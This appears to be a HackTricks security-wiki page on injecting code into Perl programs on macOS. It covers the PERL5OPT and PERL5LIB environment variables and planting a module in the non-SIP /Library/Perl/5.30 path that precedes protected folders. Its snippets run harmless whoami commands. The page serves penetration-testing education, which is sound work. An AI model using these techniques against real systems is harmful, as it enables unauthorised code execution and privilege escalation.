hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md

# macOS Perl Applications Injection

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}

## Via `PERL5OPT` & `PERL5LIB` env variable

Using the env variable PERL5OPT it's possible to make perl execute arbitrary commands.\
For example, create this script:

{% code title="test.pl" %}
```perl
#!/usr/bin/perl
print "Hello from the Perl script!\n";
```
{% endcode %}

Now **export the env variable** and execute the **perl** script:

```bash
export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"
```

Another option is to create a Perl module (e.g. `/tmp/pmod.pm`):

{% code title="/tmp/pmod.pm" %}
```perl
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value
```
{% endcode %}

And then use the env variables:

```bash
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
```

## Via dependencies

It's possible to list the dependencies folder order of Perl running:

```bash
perl -e 'print join("\n", @INC)'
```

Which will return something like:

```bash
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
```

Some of the returned folders doesn't even exist, however, **`/Library/Perl/5.30`** does **exist**, it's **not** **protected** by **SIP** and it's **before** the folders **protected by SIP**. Therefore, someone could abuse that folder to add script dependencies in there so a high privilege Perl script will load it.

{% hint style="warning" %}
However, note that you **need to be root to write in that folder** and nowadays you will get this **TCC prompt**:
{% endhint %}

<figure><img src="../../../.gitbook/assets/image (28).png" alt="" width="244"><figcaption></figcaption></figure>

For example, if a script is importing **`use File::Basename;`** it would be possible to create `/Library/Perl/5.30/File/Basename.pm` to make it execute arbitrary code.

## References

* [https://www.youtube.com/watch?v=zxZesAN-TEk](https://www.youtube.com/watch?v=zxZesAN-TEk)

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}